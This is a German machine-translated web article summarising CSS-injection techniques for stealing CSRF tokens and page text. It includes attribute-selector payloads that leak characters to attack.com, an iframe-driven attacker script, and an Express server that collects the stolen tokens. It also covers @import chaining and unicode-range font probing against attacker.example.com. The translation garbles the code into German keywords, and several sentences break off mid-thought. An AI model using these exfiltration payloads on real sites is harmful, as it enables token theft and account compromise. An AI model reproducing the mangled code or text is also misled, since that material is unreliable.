Moderne Browser erlauben nicht mehr, JavaScript in CSS auszuführen. In der Vergangenheit konnte CSS-Injection das JavaScript-Protokoll verwenden, um JavaScript-Code in url() und expression() auszuführen und so XSS zu erreichen. CSS-Injection ist jedoch immer noch sehr nützlich, um Daten zu stehlen. Lassen Sie uns sie unten einzeln analysieren. CSS-Injection stiehlt Tag-Attributdaten Attributselektoren können in CSS verwendet werden, um Tags basierend auf verschiedenen Attributen auszuwählen. Beispielsweise wählt das folgende CSS das p-Tag aus, das ein a-Attribut hat und dessen Wert abc ist. <style>p[a="abc"]{ Farbe: rot;}</style> <pa="abc">Hallo Welt</p> Attributselektoren können auch bestimmten Merkmalen von Werten entsprechen, z. B. ob sie mit XXX beginnen, mit XXX enden usw. Mit den oben genannten Eigenschaften können wir Daten in den Seiten-Tag-Attributen stehlen. Wenn csrfToken beispielsweise mit einem bestimmten Buchstaben beginnt, kann der Angreifer über url() benachrichtigt werden, um die erste Ziffer des csrfTokens zu stehlen. <Stil> Eingabe[Wert^="0"] { Hintergrund: URL (http://attack.com/0); } Eingabe[Wert^="1"] { Hintergrund: URL (http://attack.com/1); } Eingabe[Wert^="2"] { Hintergrund: URL (http://attack.com/2); } ... Eingabe[Wert^="Y"] { Hintergrund: URL (http://attack.com/Y); } Eingabe[Wert^="Z"] { Hintergrund: URL (http://attack.com/Z); } </Stil> <Eingabename="csrfToken" Wert="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA=="> Der erste ist Z, dann stiehl den zweiten <Stil> Eingabe[Wert^="Z0"] { Hintergrund: URL (http://attack.com/0); } ... Eingabe[Wert^="ZZ"] { Hintergrund: URL (http://attack.com/Z); } </Stil> <Eingabename="csrfToken" Wert="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA=="> Löse versteckte Natürlich gibt es immer noch ein Problem. Wenn der Tag Eine Lösung besteht darin, den CSS-Geschwisterselektor ~ zu verwenden, um den Hintergrund für alle nachfolgenden Geschwisterknoten festzulegen. Eingabe[Wert^="Z"] ~*{ Hintergrund: URL (http://attack.com/Z); } Batch-Implementierung Wenn die Anzahl der Ziffern kürzer und die Möglichkeiten geringer sind, können wir sie natürlich alle auflisten, aber normalerweise sind es zu viele, sodass wir Tricks anwenden müssen, um sie in Stapeln zu erhalten. Nehmen wir an, dass die Zielwebsite mit CSS-Injektion wie folgt aussieht und das Ziel darin besteht, den csrfToken-Wert im Eingabetag zu stehlen. <!DOCTYPE html> <html> <Kopf> <title>CSS-Injektion</title> </Kopf> <Text> <Eingabetyp=versteckter Name="csrfToken" Wert=<?=md5(Datum("h"))?>> <Eingabetyp="" Name=""> <Stil><?php echo $_GET['css']?></Stil> </body> </html> Mit iFrame Wenn der Antwortheader einer Website mit CSS-Injektion nicht durch Hier gibt es ein Problem. Wie weist der Server das Front-End-JS an, das CSS zu konstruieren? Genau wie im obigen Beispiel gilt: Wenn das erste gestohlene Bit Z ist, dann sollte die zweite Nutzlast mit Z beginnen. Die folgende Nutzlast stammt von https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d Die Idee besteht darin, dass das Front-End-JS „setTimeout“ verwendet, um den Server regelmäßig anzufordern, und der Server das durch Einfügen von CSS erhaltene Token zurückgibt. <html> <Stil> #Rahmen { Sichtbarkeit: versteckt; } </Stil> <Text> <div id="aktuell"></div> <div id="Zeit bis zum nächsten"></div> <div id="Rahmen"></div> </body> <Skript> vuln_url = "http://127.0.0.1:8084/vuln.php?css="; server_receive_token_url = "http://127.0.0.1:8083/receive/"; server_return_token_url = "http://127.0.0.1:8083/return"; Zeichen = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""); bekannt = ""; Funktion test_char (bekannt, Zeichen) { //Entferne alle Frames document.getElementById("frames").innerHTML = ""; // Ergänze die Zeichen mit den bekannten Zeichen css = build_css(chars.map(v => bekannt + v)); // Erstellen Sie ein Iframe, um den Angriff zu versuchen. Wenn `X-Frame-Options` dies blockiert, können Sie eine neue Registerkarte verwenden ... Rahmen = Dokument.ErstellenElement("iframe"); frame.src = vuln_url + css; frame.style="sichtbarkeit: versteckt;"; //muss hinterhältig sein, so wie document.getElementById("frames").appendChild(frame); // in 1 Sekunde, nachdem der Iframe geladen wurde, prüfen, ob wir schon eine Antwort erhalten haben setzeTimeout(Funktion() { var oReq = neue XMLHttpRequest(); oReq.addEventListener("laden", bekannter_Listener); oReq.open("GET", server_return_token_url); oAnforderung.send(); }, 1000); } Funktion build_css(Werte) { css_nutzlast = ""; für(var Wert in Werte) { css_payload += "Eingabe[Wert^=\"" + Werte[Wert] + "\"]~*{Hintergrundbild:URL(" + Server-Empfangstoken-URL + Werte[Wert] + ")%3B}"; //kann kein echtes Semikolon verwenden, da dies in einer URL eine Bedeutung hat } css_payload zurückgeben; } Funktion bekannter_Listener () { document.getElementById("current").innerHTML = "Aktuelles Token: " + this.responseText; wenn(bekannt != dieser.AntwortText) { bekannt = dieser.AntwortText; test_char(bekannt, Zeichen); } anders { bekannt = dieser.AntwortText; alert("CSRF-Token ist: " + bekannt); } } test_char("", Zeichen); </Skript> </html> Der Servercode wurde von mir passend zu seiner Nutzlast geschrieben. var express = erforderlich('express'); var app = express(); var Pfad = erforderlich('Pfad'); var token = ""; app.get('/empfangen/:token', Funktion(erfordert, res) { Token = erforderlich.Params.Token; konsole.log(token) res.send('ok'); }); app.get('/return', Funktion(req, res){ res.send(token); }); app.get('/client.html', Funktion(req, res){ res.sendFile(Pfad.join(__dirname, 'client.html')); }) var server = app.listen(8083, function() { var Host = Server.Adresse().Adresse var port = server.adresse().port console.log("Beispiel-App lauscht unter http://%s:%s", Host, Port) }) Eine andere Methode besteht darin, das Token über den Server in ein Cookie zu schreiben und periodisch zu prüfen, ob sich das Cookie geändert hat. Ich habe auch festgestellt, dass einige Meister WebSocket für eine elegantere Implementierung verwendeten. https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa Kein Iframe https://github.com/dxa4481/cssInjection Hier ist eine Injektionsmethode ohne Iframe. Das Prinzip ist auch sehr einfach. Da wir kein Iframe verwenden können, um die anfällige Seite einzuführen, können wir über Dieser Artikel schlägt auch eine Lösung ohne Hintergrundserver vor, bei der @Import Mithilfe der @import-Funktion in Chrome wird diese Methode in diesem Artikel vorgeschlagen: https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b Der Vorteil dieser Methode besteht darin, dass Sie alle Token abrufen können, ohne die Seite zu aktualisieren, und dass kein Iframe erforderlich ist. Der Nachteil besteht jedoch darin, dass sie nur in Chrome verwendet werden kann und entsprechend ihren Eigenschaften in den Header des Style-Tags eingefügt werden muss. Zusätzlich zum allgemeinen
Aber @import muss zuerst im Stylesheet-Header deklariert werden und das Semikolon ist erforderlich. Das durch Bei der Implementierung des obigen Effekts berechnet Chrome die anderen Stylesheets der Seite jedes Mal neu, wenn das externe Stylesheet @import zurückgegeben wird. Wir können diese Funktion verwenden, um @import zu verschachteln und das gesamte Token mit einer Anfrage zu erhalten. Dies ist ein Bild aus seinem Artikel, sehr lebendig. Diese Abbildung geht davon aus, dass die Länge der zu stehlenden Daten 3 beträgt. Der erste eingefügte CSS-Inhalt ist @import url(http://attacker.com/staging);, was zurückgibt
Zu diesem Zeitpunkt muss die Seite Der Artikel bietet außerdem ein Open-Source-Tool zum Ausnutzen dieser Sicherheitslücke, das sehr einfach zu verwenden ist. https://github.com/d0nutptr/sic Tag-Inhaltsdaten stehlen Der Diebstahl von Tag-Inhaltsdaten ist relativ problematisch. Im letzten xctf-Finale gab es dazu eine Frage. Raten mithilfe des Unicode-Bereichs Gemäß der Idee von https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html können Sie den <Stil> @Schriftart{ Schriftfamilie:poc; src: url(http://attacker.example.com/?A); /* abgerufen */ Unicode-Bereich: U+0041; } @Schriftart{ Schriftfamilie:poc; src: url(http://attacker.example.com/?B); /* ebenfalls abgerufen */ Unicode-Bereich: U+0042; } @Schriftart{ Schriftfamilie:poc; src: url(http://attacker.example.com/?C); /* nicht abgerufen */ Unicode-Bereich: U+0043; } #sensible-informationen{ Schriftfamilie:poc; } </Stil> <p id="sensitive-information">AB</p> Natürlich erfahren Sie hierdurch nur, welche Zeichen enthalten sind, und es wird bedeutungslos, wenn zu viele Zeichen vorhanden sind. Aber es ist eine gute Idee und kann in bestimmten Situationen nützlich sein. Ligaturen verwenden Dies ist die Methode, die xctf-Meister im letzten Jahr zur Lösung von Problemen verwendet haben. Kurz gesagt ist eine Ligatur eine Kombination aus mehreren Zeichen. Weitere Informationen finden Sie bei Baidu. Hier können wir selbst eine Schriftart erstellen, in der die Breite aller Zeichen auf 0 und die Breite des Ligaturen-Flags sehr groß eingestellt ist. Wenn zu diesem Zeitpunkt Auf diese Weise können wir weiter rückwärts raten. Die Einzelheiten zum Erstellen von Schriftarten und Payloads finden Sie hier. Zusammenfassen Dies ist das Ende dieses Artikels über die Zusammenfassung des Wissens über CSS-Injektion. Weitere relevante Inhalte zu CSS-Injektion finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den verwandten Artikeln weiter unten. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird! |
<<: Schreiben von qualitativ hochwertigem Code – Praxisbuchauszüge zur Web-Frontend-Entwicklung
1. Frage: Ich habe in diesen Tagen Einfügevorgäng...
Inhaltsverzeichnis Vorwort 1. Schlüsselelemente e...
Inhaltsverzeichnis Vorwort Schnittstelle Typ Anha...
Wir gehen davon aus, dass Sie ein linuxer sind, a...
Ursprüngliche Adresse: https://blog.csdn.net/m0_4...
Inhaltsverzeichnis Vorwort: Freundliche Tipps: Va...
Inhaltsverzeichnis Base Rückgabetyp String und Bo...
Es gibt zwei Arten von Festplatten in Linux: gemo...
Schlüsselpaar trennen Trennen Sie SSH-Schlüsselpa...
1. Melden Sie sich beim System an und geben Sie d...
Ein ES-Image vom Docker-Hub heruntergeladen, Vers...
Aufgrund der Einschränkung der CPU-Berechtigungen...
Situationsbeschreibung: Die Datenbank wurde abnor...
1. BIOS überprüfen Überprüfen Sie zunächst, in we...
JBoss verwendet Tomcat als Webcontainer. Die Konf...